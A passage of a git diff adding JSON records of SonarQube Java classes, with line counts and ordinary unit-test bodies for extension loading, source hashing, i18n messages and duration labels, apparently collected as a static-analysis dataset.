"installed_fails_with_ISE_if_called_before_setLoadedCoreExtensions", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void installed_fails_with_ISE_if_called_before_setLoadedCoreExtensions() {\n\n CoreExtension coreExtension = newCoreExtension();\n\n\n\n assertThatThrownBy(() -> underTest.installed(coreExtension))\n\n .isInstanceOf(IllegalStateException.class)\n\n .hasMessage(\"Repository has not been initialized yet\");\n\n }" + }, + { + "description": "isInstalled_fails_with_ISE_if_called_before_setLoadedCoreExtensions", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void isInstalled_fails_with_ISE_if_called_before_setLoadedCoreExtensions() {\n\n assertThatThrownBy(() -> underTest.isInstalled(\"foo\"))\n\n .isInstanceOf(IllegalStateException.class)\n\n .hasMessage(\"Repository has not been initialized yet\");\n\n }" + }, + { + "description": "isInstalled_returns_false_for_loaded_but_not_installed_CoreExtension", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void isInstalled_returns_false_for_loaded_but_not_installed_CoreExtension() {\n\n CoreExtension coreExtension = newCoreExtension();\n\n underTest.setLoadedCoreExtensions(singleton(coreExtension));\n\n\n\n assertThat(underTest.isInstalled(coreExtension.getName())).isFalse();\n\n }" + }, + { + "description": "isInstalled_returns_true_for_loaded_and_installed_CoreExtension", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void isInstalled_returns_true_for_loaded_and_installed_CoreExtension() {\n\n CoreExtension coreExtension = newCoreExtension();\n\n underTest.setLoadedCoreExtensions(singleton(coreExtension));\n\n underTest.installed(coreExtension);\n\n\n\n assertThat(underTest.isInstalled(coreExtension.getName())).isTrue();\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtensionsInstaller.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtensionsInstaller.json new file mode 100644 index 0000000..f1beea3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtensionsInstaller.json @@ -0,0 +1,44 @@ +{ + "name": "CoreExtensionsInstaller", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 101, + "branches": 4, + "apis": 21, + "test": [ + { + "description": "install_has_no_effect_if_CoreExtensionRepository_has_no_loaded_CoreExtension", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void install_has_no_effect_if_CoreExtensionRepository_has_no_loaded_CoreExtension() {\n\n ListContainer container = new ListContainer();\n\n underTest.install(container, noExtensionFilter(), noAdditionalSideFilter());\n\n assertAddedExtensions(container, 0);\n\n }" + }, + { + "description": "install_calls_load_method_on_all_loaded_CoreExtension", + "expected-problems": null, + "expected-linenumbers": 18, + "code": " public void install_calls_load_method_on_all_loaded_CoreExtension() {\n\n CoreExtension coreExtension1 = newCoreExtension();\n\n CoreExtension coreExtension2 = newCoreExtension();\n\n CoreExtension coreExtension3 = newCoreExtension();\n\n CoreExtension coreExtension4 = newCoreExtension();\n\n List coreExtensions = ImmutableList.of(coreExtension1, coreExtension2, coreExtension3, coreExtension4);\n\n InOrder inOrder = Mockito.inOrder(coreExtension1, coreExtension2, coreExtension3, coreExtension4);\n\n when(coreExtensionRepository.loadedCoreExtensions()).thenReturn(coreExtensions.stream());\n\n ListContainer container = new ListContainer();\n\n\n\n underTest.install(container, noExtensionFilter(), noAdditionalSideFilter());\n\n\n\n inOrder.verify(coreExtension1).load(contextCaptor.capture());\n\n inOrder.verify(coreExtension2).load(contextCaptor.capture());\n\n inOrder.verify(coreExtension3).load(contextCaptor.capture());\n\n inOrder.verify(coreExtension4).load(contextCaptor.capture());\n\n // verify each core extension gets its own Context\n\n assertThat(contextCaptor.getAllValues())\n\n .hasSameElementsAs(ImmutableSet.copyOf(contextCaptor.getAllValues()));\n\n }" + }, + { + "description": "install_provides_runtime_from_constructor_in_context", + "expected-problems": null, + "expected-linenumbers": 12, + "code": " public void install_provides_runtime_from_constructor_in_context() {\n\n CoreExtension coreExtension1 = newCoreExtension();\n\n CoreExtension coreExtension2 = newCoreExtension();\n\n when(coreExtensionRepository.loadedCoreExtensions()).thenReturn(Stream.of(coreExtension1, coreExtension2));\n\n ListContainer container = new ListContainer();\n\n\n\n underTest.install(container, noExtensionFilter(), noAdditionalSideFilter());\n\n\n\n verify(coreExtension1).load(contextCaptor.capture());\n\n verify(coreExtension2).load(contextCaptor.capture());\n\n assertThat(contextCaptor.getAllValues())\n\n .extracting(CoreExtension.Context::getRuntime)\n\n .containsOnly(sonarRuntime);\n\n }" + }, + { + "description": "install_provides_new_Configuration_when_getBootConfiguration_is_called_and_there_is_none_in_container", + "expected-problems": null, + "expected-linenumbers": 12, + "code": " public void install_provides_new_Configuration_when_getBootConfiguration_is_called_and_there_is_none_in_container() {\n\n CoreExtension coreExtension1 = newCoreExtension();\n\n CoreExtension coreExtension2 = newCoreExtension();\n\n when(coreExtensionRepository.loadedCoreExtensions()).thenReturn(Stream.of(coreExtension1, coreExtension2));\n\n ListContainer container = new ListContainer();\n\n\n\n underTest.install(container, noExtensionFilter(), noAdditionalSideFilter());\n\n\n\n verify(coreExtension1).load(contextCaptor.capture());\n\n verify(coreExtension2).load(contextCaptor.capture());\n\n // verify each core extension gets its own configuration\n\n assertThat(contextCaptor.getAllValues())\n\n .hasSameElementsAs(ImmutableSet.copyOf(contextCaptor.getAllValues()));\n\n }" + }, + { + "description": "install_provides_Configuration_from_container_when_getBootConfiguration_is_called", + "expected-problems": null, + "expected-linenumbers": 14, + "code": " public void install_provides_Configuration_from_container_when_getBootConfiguration_is_called() {\n\n CoreExtension coreExtension1 = newCoreExtension();\n\n CoreExtension coreExtension2 = newCoreExtension();\n\n when(coreExtensionRepository.loadedCoreExtensions()).thenReturn(Stream.of(coreExtension1, coreExtension2));\n\n Configuration configuration = new MapSettings().asConfig();\n\n ExtensionContainer container = mock(ExtensionContainer.class);\n\n when(container.getComponentByType(Configuration.class)).thenReturn(configuration);\n\n underTest.install(container, noExtensionFilter(), noAdditionalSideFilter());\n\n\n\n verify(coreExtension1).load(contextCaptor.capture());\n\n verify(coreExtension2).load(contextCaptor.capture());\n\n assertThat(contextCaptor.getAllValues())\n\n .extracting(CoreExtension.Context::getBootConfiguration)\n\n .containsOnly(configuration);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtensionsLoader.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtensionsLoader.json new file mode 100644 index 0000000..083a094 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/CoreExtensionsLoader.json @@ -0,0 +1,38 @@ +{ + "name": "CoreExtensionsLoader", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 35, + "branches": 1, + "apis": 30, + "test": [ + { + "description": "load_has_no_effect_if_there_is_no_ServiceLoader_for_CoreExtension_class", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void load_has_no_effect_if_there_is_no_ServiceLoader_for_CoreExtension_class() {\n\n when(serviceLoaderWrapper.load(any())).thenReturn(Collections.emptySet());\n\n\n\n underTest.load();\n\n\n\n verify(serviceLoaderWrapper).load(CoreExtensionsLoader.class.getClassLoader());\n\n verify(coreExtensionRepository).setLoadedCoreExtensions(Collections.emptySet());\n\n verifyNoMoreInteractions(serviceLoaderWrapper, coreExtensionRepository);\n\n }" + }, + { + "description": "load_sets_loaded_core_extensions_into_repository", + "expected-problems": null, + "expected-linenumbers": 10, + "code": " public void load_sets_loaded_core_extensions_into_repository() {\n\n Set coreExtensions = IntStream.range(0, 1 + new Random().nextInt(5))\n\n .mapToObj(i -> newCoreExtension(\"core_ext_\" + i))\n\n .collect(Collectors.toSet());\n\n when(serviceLoaderWrapper.load(any())).thenReturn(coreExtensions);\n\n\n\n underTest.load();\n\n\n\n verify(serviceLoaderWrapper).load(CoreExtensionsLoader.class.getClassLoader());\n\n verify(coreExtensionRepository).setLoadedCoreExtensions(coreExtensions);\n\n verifyNoMoreInteractions(serviceLoaderWrapper, coreExtensionRepository);\n\n }" + }, + { + "description": "load_fails_with_ISE_if_multiple_core_extensions_declare_same_name", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void load_fails_with_ISE_if_multiple_core_extensions_declare_same_name() {\n\n Set coreExtensions = ImmutableSet.of(newCoreExtension(\"a\"), newCoreExtension(\"a\"));\n\n when(serviceLoaderWrapper.load(any())).thenReturn(coreExtensions);\n\n\n\n assertThatThrownBy(() -> underTest.load())\n\n .isInstanceOf(IllegalStateException.class)\n\n .hasMessage(\"Multiple core extensions declare the following names: a\");\n\n }" + }, + { + "description": "load_fails_with_ISE_if_multiple_core_extensions_declare_same_names", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void load_fails_with_ISE_if_multiple_core_extensions_declare_same_names() {\n\n Set coreExtensions = ImmutableSet.of(newCoreExtension(\"a\"), newCoreExtension(\"a\"), newCoreExtension(\"b\"), newCoreExtension(\"b\"));\n\n when(serviceLoaderWrapper.load(any())).thenReturn(coreExtensions);\n\n\n\n assertThatThrownBy(() -> underTest.load())\n\n .isInstanceOf(IllegalStateException.class)\n\n .hasMessage(\"Multiple core extensions declare the following names: a, b\");\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/PlatformLevel.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/PlatformLevel.json new file mode 100644 index 0000000..7c7ab54 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/PlatformLevel.json @@ -0,0 +1,13 @@ +{ + "name": "PlatformLevel", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 6, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/PlatformLevelPredicates.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/PlatformLevelPredicates.json new file mode 100644 index 0000000..b9ce17f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/PlatformLevelPredicates.json @@ -0,0 +1,13 @@ +{ + "name": "PlatformLevelPredicates", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 38, + "branches": 7, + "apis": 11, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/PluginRiskConsent.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/PluginRiskConsent.json new file mode 100644 index 0000000..d170f29 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/PluginRiskConsent.json @@ -0,0 +1,13 @@ +{ + "name": "PluginRiskConsent", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 5, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/ServiceLoaderWrapper.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/ServiceLoaderWrapper.json new file mode 100644 index 0000000..d62bd08 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/extension/ServiceLoaderWrapper.json @@ -0,0 +1,13 @@ +{ + "name": "ServiceLoaderWrapper", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 9, + "branches": 0, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/fips/FipsDetector.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/fips/FipsDetector.json new file mode 100644 index 0000000..800ef8f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/fips/FipsDetector.json @@ -0,0 +1,13 @@ +{ + "name": "FipsDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 15, + "branches": 2, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/hash/LineRange.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/hash/LineRange.json new file mode 100644 index 0000000..fe5fe71 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/hash/LineRange.json @@ -0,0 +1,32 @@ +{ + "name": "LineRange", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 16, + "branches": 0, + "apis": 2, + "test": [ + { + "description": "should_throw_ISE_if_range_is_invalid", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void should_throw_ISE_if_range_is_invalid() {\n\n assertThatThrownBy(() -> new LineRange(2, 1))\n\n .isInstanceOf(IllegalArgumentException.class)\n\n .hasMessage(\"Line range is not valid: 1 must be greater or equal than 2\");\n\n }" + }, + { + "description": "should_throw_ISE_if_startOffset_is_invalid", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void should_throw_ISE_if_startOffset_is_invalid() {\n\n assertThatThrownBy(() -> new LineRange(-1, 1))\n\n .isInstanceOf(IllegalArgumentException.class)\n\n .hasMessage(\"Start offset not valid: -1\");\n\n }" + }, + { + "description": "check_getters", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void check_getters() {\n\n LineRange range = new LineRange(1, 2);\n\n assertThat(range.startOffset()).isOne();\n\n assertThat(range.endOffset()).isEqualTo(2);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/hash/SourceHashComputer.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/hash/SourceHashComputer.json new file mode 100644 index 0000000..969428d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/hash/SourceHashComputer.json @@ -0,0 +1,32 @@ +{ + "name": "SourceHashComputer", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 10, + "branches": 0, + "apis": 5, + "test": [ + { + "description": "hash_of_non_last_line_is_not_the_same_as_hash_of_last_line", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void hash_of_non_last_line_is_not_the_same_as_hash_of_last_line() {\n\n assertThat(hashASingleLine(SOME_LINE, true)).isNotEqualTo(hashASingleLine(SOME_LINE, false));\n\n }" + }, + { + "description": "hash_of_non_last_line_is_includes_an_added_line_return", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void hash_of_non_last_line_is_includes_an_added_line_return() {\n\n assertThat(hashASingleLine(SOME_LINE, true)).isEqualTo(hashASingleLine(SOME_LINE + '\\n', false));\n\n }" + }, + { + "description": "hash_is_md5_digest_of_UTF8_character_array_in_hexa_encoding", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void hash_is_md5_digest_of_UTF8_character_array_in_hexa_encoding() {\n\n String someLineWithAccents = \"yopa l\\u00e9l\\u00e0\";\n\n\n\n assertThat(hashASingleLine(someLineWithAccents, false))\n\n .isEqualTo(DigestUtils.md5Hex(someLineWithAccents.getBytes(StandardCharsets.UTF_8)));\n\n\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/hash/SourceLineHashesComputer.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/hash/SourceLineHashesComputer.json new file mode 100644 index 0000000..17a1f41 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/hash/SourceLineHashesComputer.json @@ -0,0 +1,13 @@ +{ + "name": "SourceLineHashesComputer", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 24, + "branches": 1, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/i18n/DefaultI18n.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/i18n/DefaultI18n.json new file mode 100644 index 0000000..c868d01 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/i18n/DefaultI18n.json @@ -0,0 +1,134 @@ +{ + "name": "DefaultI18n", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 164, + "branches": 11, + "apis": 50, + "test": [ + { + "description": "load_core_bundle", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void load_core_bundle() {\n\n assertThat(underTest.message(Locale.ENGLISH, \"any\", null)).isEqualTo(\"Any\");\n\n }" + }, + { + "description": "introspect_all_available_properties", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void introspect_all_available_properties() {\n\n assertThat(underTest.getPropertyKeys().contains(\"any\")).isTrue();\n\n // Only in english\n\n assertThat(underTest.getPropertyKeys().contains(\"assignee\")).isTrue();\n\n assertThat(underTest.getPropertyKeys().contains(\"sqale.page\")).isTrue();\n\n assertThat(underTest.getPropertyKeys().contains(\"bla_bla_bla\")).isFalse();\n\n }" + }, + { + "description": "all_core_metrics_are_in_core_bundle", + "expected-problems": null, + "expected-linenumbers": 24, + "code": " public void all_core_metrics_are_in_core_bundle() {\n\n List coreMetrics = CoreMetrics.getMetrics();\n\n List incorrectMetricDefinitions = new ArrayList<>();\n\n for (Metric metric : coreMetrics) {\n\n if (metric.isHidden()) {\n\n continue;\n\n }\n\n String metricNamePropertyKey = \"metric.\" + metric.getKey() + \".name\";\n\n String l10nMetricName = underTest.message(Locale.ENGLISH, metricNamePropertyKey, null);\n\n if (l10nMetricName == null) {\n\n incorrectMetricDefinitions.add(metricNamePropertyKey + \"=\" + metric.getName());\n\n } else if (!l10nMetricName.equals(metric.getName())) {\n\n incorrectMetricDefinitions.add(metricNamePropertyKey + \" is not consistent in core bundle and CoreMetrics\");\n\n }\n\n\n\n String metricDescriptionPropertyKey = \"metric.\" + metric.getKey() + \".description\";\n\n String l10nMetricDescription = underTest.message(Locale.ENGLISH, metricDescriptionPropertyKey, null);\n\n if (l10nMetricDescription == null) {\n\n incorrectMetricDefinitions.add(metricDescriptionPropertyKey + \"=\" + metric.getDescription());\n\n } else if (!l10nMetricDescription.equals(metric.getDescription())) {\n\n incorrectMetricDefinitions.add(metricDescriptionPropertyKey + \" is not consistent in core bundle and CoreMetrics\");\n\n }\n\n }\n\n\n\n assertThat(incorrectMetricDefinitions).as(\"Metric definitions to fix in core bundle\", incorrectMetricDefinitions.size()).isEmpty();\n\n }" + }, + { + "description": "get_english_labels", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void get_english_labels() {\n\n assertThat(underTest.message(Locale.ENGLISH, \"any\", null)).isEqualTo(\"Any\");\n\n assertThat(underTest.message(Locale.ENGLISH, \"sqale.page\", null)).isEqualTo(\"Sqale page title\");\n\n assertThat(underTest.message(Locale.ENGLISH, \"checkstyle.rule1.name\", null)).isEqualTo(\"Rule one\");\n\n }" + }, + { + "description": "get_english_labels_when_default_locale_is_not_english", + "expected-problems": null, + "expected-linenumbers": 11, + "code": " public void get_english_labels_when_default_locale_is_not_english() {\n\n Locale defaultLocale = Locale.getDefault();\n\n try {\n\n Locale.setDefault(Locale.FRENCH);\n\n assertThat(underTest.message(Locale.ENGLISH, \"any\", null)).isEqualTo(\"Any\");\n\n assertThat(underTest.message(Locale.ENGLISH, \"sqale.page\", null)).isEqualTo(\"Sqale page title\");\n\n assertThat(underTest.message(Locale.ENGLISH, \"checkstyle.rule1.name\", null)).isEqualTo(\"Rule one\");\n\n } finally {\n\n Locale.setDefault(defaultLocale);\n\n }\n\n }" + }, + { + "description": "get_labels_from_french_pack", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void get_labels_from_french_pack() {\n\n assertThat(underTest.message(Locale.FRENCH, \"checkstyle.rule1.name\", null)).isEqualTo(\"Rule un\");\n\n assertThat(underTest.message(Locale.FRENCH, \"any\", null)).isEqualTo(\"Tous\");\n\n\n\n // language pack\n\n assertThat(underTest.message(Locale.FRENCH, \"sqale.page\", null)).isEqualTo(\"Titre de la page Sqale\");\n\n }" + }, + { + "description": "get_french_label_if_swiss_country", + "expected-problems": null, + "expected-linenumbers": 7, + "code": " public void get_french_label_if_swiss_country() {\n\n Locale swiss = new Locale(\"fr\", \"CH\");\n\n assertThat(underTest.message(swiss, \"checkstyle.rule1.name\", null)).isEqualTo(\"Rule un\");\n\n assertThat(underTest.message(swiss, \"any\", null)).isEqualTo(\"Tous\");\n\n\n\n // language pack\n\n assertThat(underTest.message(swiss, \"sqale.page\", null)).isEqualTo(\"Titre de la page Sqale\");\n\n }" + }, + { + "description": "fallback_to_default_locale", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void fallback_to_default_locale() {\n\n assertThat(underTest.message(Locale.CHINA, \"checkstyle.rule1.name\", null)).isEqualTo(\"Rule one\");\n\n assertThat(underTest.message(Locale.CHINA, \"any\", null)).isEqualTo(\"Any\");\n\n assertThat(underTest.message(Locale.CHINA, \"sqale.page\", null)).isEqualTo(\"Sqale page title\");\n\n assertThat(underTest.getEffectiveLocale(Locale.CHINA)).isEqualTo(Locale.ENGLISH);\n\n }" + }, + { + "description": "return_default_value_if_missing_key", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void return_default_value_if_missing_key() {\n\n assertThat(underTest.message(Locale.ENGLISH, \"bla_bla_bla\", \"default\")).isEqualTo(\"default\");\n\n assertThat(underTest.message(Locale.FRENCH, \"bla_bla_bla\", \"default\")).isEqualTo(\"default\");\n\n }" + }, + { + "description": "format_message_with_parameters", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void format_message_with_parameters() {\n\n assertThat(underTest.message(Locale.ENGLISH, \"x_results\", null, \"10\")).isEqualTo(\"10 results\");\n\n }" + }, + { + "description": "use_default_locale_if_missing_value_in_localized_bundle", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void use_default_locale_if_missing_value_in_localized_bundle() {\n\n assertThat(underTest.message(Locale.FRENCH, \"assignee\", null)).isEqualTo(\"Assignee\");\n\n assertThat(underTest.message(Locale.CHINA, \"assignee\", null)).isEqualTo(\"Assignee\");\n\n }" + }, + { + "description": "return_null_if_file_not_found", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void return_null_if_file_not_found() {\n\n String html = underTest.messageFromFile(Locale.ENGLISH, \"UnknownRule.html\", \"checkstyle.rule1.name\");\n\n assertThat(html).isNull();\n\n }" + }, + { + "description": "return_null_if_rule_not_internationalized", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void return_null_if_rule_not_internationalized() {\n\n String html = underTest.messageFromFile(Locale.ENGLISH, \"UnknownRule.html\", \"foo.rule1.name\");\n\n assertThat(html).isNull();\n\n }" + }, + { + "description": "get_age_with_duration", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void get_age_with_duration() {\n\n assertThat(underTest.age(Locale.ENGLISH, 10)).isEqualTo(\"less than a minute\");\n\n }" + }, + { + "description": "get_age_with_dates", + "expected-problems": null, + "expected-linenumbers": 3, + "code": " public void get_age_with_dates() {\n\n assertThat(underTest.age(Locale.ENGLISH, DateUtils.parseDate(\"2014-01-01\"), DateUtils.parseDate(\"2014-01-02\"))).isEqualTo(\"a day\");\n\n }" + }, + { + "description": "get_age_from_now", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void get_age_from_now() {\n\n system2.setNow(DateUtils.parseDate(\"2014-01-02\").getTime());\n\n assertThat(underTest.ageFromNow(Locale.ENGLISH, DateUtils.parseDate(\"2014-01-01\"))).isEqualTo(\"a day\");\n\n }" + }, + { + "description": "format_date_time", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void format_date_time() {\n\n TimeZone initialTz = TimeZone.getDefault();\n\n TimeZone.setDefault(TimeZone.getTimeZone(\"GMT+1\"));\n\n assertThat(underTest.formatDateTime(Locale.ENGLISH, DateUtils.parseDateTime(\"2014-01-22T19:10:03+0100\"))).startsWith(\"Jan 22, 2014\");\n\n TimeZone.setDefault(initialTz);\n\n }" + }, + { + "description": "format_date", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void format_date() {\n\n TimeZone initialTz = TimeZone.getDefault();\n\n TimeZone.setDefault(TimeZone.getTimeZone(\"GMT+1\"));\n\n assertThat(underTest.formatDate(Locale.ENGLISH, DateUtils.parseDateTime(\"2014-01-22T19:10:03+0100\"))).isEqualTo(\"Jan 22, 2014\");\n\n TimeZone.setDefault(initialTz);\n\n }" + }, + { + "description": "format_double", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void format_double() {\n\n assertThat(underTest.formatDouble(Locale.FRENCH, 10.56)).isEqualTo(\"10,6\");\n\n assertThat(underTest.formatDouble(Locale.FRENCH, 10d)).isEqualTo(\"10,0\");\n\n }" + }, + { + "description": "format_integer", + "expected-problems": null, + "expected-linenumbers": 4, + "code": " public void format_integer() {\n\n assertThat(underTest.formatInteger(Locale.ENGLISH, 10)).isEqualTo(\"10\");\n\n assertThat(underTest.formatInteger(Locale.ENGLISH, 100000)).isEqualTo(\"100,000\");\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/i18n/DurationLabel.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/i18n/DurationLabel.json new file mode 100644 index 0000000..752e06f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/i18n/DurationLabel.json @@ -0,0 +1,80 @@ +{ + "name": "DurationLabel", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 19, + "apis": 5, + "test": [ + { + "description": "age_in_seconds", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void age_in_seconds() {\n\n long now = System.currentTimeMillis();\n\n DurationLabel.Result result = DurationLabel.label(now - System.currentTimeMillis());\n\n assertThat(result.key()).isEqualTo(\"duration.seconds\");\n\n assertThat(result.value()).isNull();\n\n }" + }, + { + "description": "age_in_minute", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void age_in_minute() {\n\n DurationLabel.Result result = DurationLabel.label(now() - ago(MINUTE));\n\n assertThat(result.key()).isEqualTo(\"duration.minute\");\n\n assertThat(result.value()).isNull();\n\n }" + }, + { + "description": "age_in_minutes", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void age_in_minutes() {\n\n long minutes = 2;\n\n DurationLabel.Result result = DurationLabel.label(now() - ago(minutes * MINUTE));\n\n assertThat(result.key()).isEqualTo(\"duration.minutes\");\n\n assertThat(result.value()).isEqualTo(minutes);\n\n\n\n }" + }, + { + "description": "age_in_hour", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void age_in_hour() {\n\n DurationLabel.Result result = DurationLabel.label(now() - ago(HOUR));\n\n assertThat(result.key()).isEqualTo(\"duration.hour\");\n\n assertThat(result.value()).isNull();\n\n }" + }, + { + "description": "age_in_hours", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void age_in_hours() {\n\n long hours = 3;\n\n DurationLabel.Result result = DurationLabel.label(now() - ago(hours * HOUR));\n\n assertThat(result.key()).isEqualTo(\"duration.hours\");\n\n assertThat(result.value()).isEqualTo(hours);\n\n }" + }, + { + "description": "age_in_day", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void age_in_day() {\n\n DurationLabel.Result result = DurationLabel.label(now() - ago(30 * HOUR));\n\n assertThat(result.key()).isEqualTo(\"duration.day\");\n\n assertThat(result.value()).isNull();\n\n }" + }, + { + "description": "age_in_days", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void age_in_days() {\n\n long days = 4;\n\n DurationLabel.Result result = DurationLabel.label(now() - ago(days * DAY));\n\n assertThat(result.key()).isEqualTo(\"duration.days\");\n\n assertThat(result.value()).isEqualTo(days);\n\n }" + }, + { + "description": "age_in_month", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void age_in_month() {\n\n DurationLabel.Result result = DurationLabel.label(now() - ago(35 * DAY));\n\n assertThat(result.key()).isEqualTo(\"duration.month\");\n\n assertThat(result.value()).isNull();\n\n }" + }, + { + "description": "age_in_months", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void age_in_months() {\n\n long months = 2;\n\n DurationLabel.Result result = DurationLabel.label(now() - ago(months * MONTH));\n\n assertThat(result.key()).isEqualTo(\"duration.months\");\n\n assertThat(result.value()).isEqualTo(months);\n\n }" + }, + { + "description": "year_ago", + "expected-problems": null, + "expected-linenumbers": 5, + "code": " public void year_ago() {\n\n DurationLabel.Result result = DurationLabel.label(now() - ago(14 * MONTH));\n\n assertThat(result.key()).isEqualTo(\"duration.year\");\n\n assertThat(result.value()).isNull();\n\n }" + }, + { + "description": "years_ago", + "expected-problems": null, + "expected-linenumbers": 6, + "code": " public void years_ago() {\n\n long years = 7;\n\n DurationLabel.Result result = DurationLabel.label(now() - ago(years * YEAR));\n\n assertThat(result.key()).isEqualTo(\"duration.years\");\n\n assertThat(result.value()).isEqualTo(years);\n\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/i18n/I18n.json b/Raw Data/Static Analysis Tool/Sonarqube/Rule Information/checkers/i18n/I18n.json new file mode 100644 index 0000000..a1c73cd --- /dev/null +++ 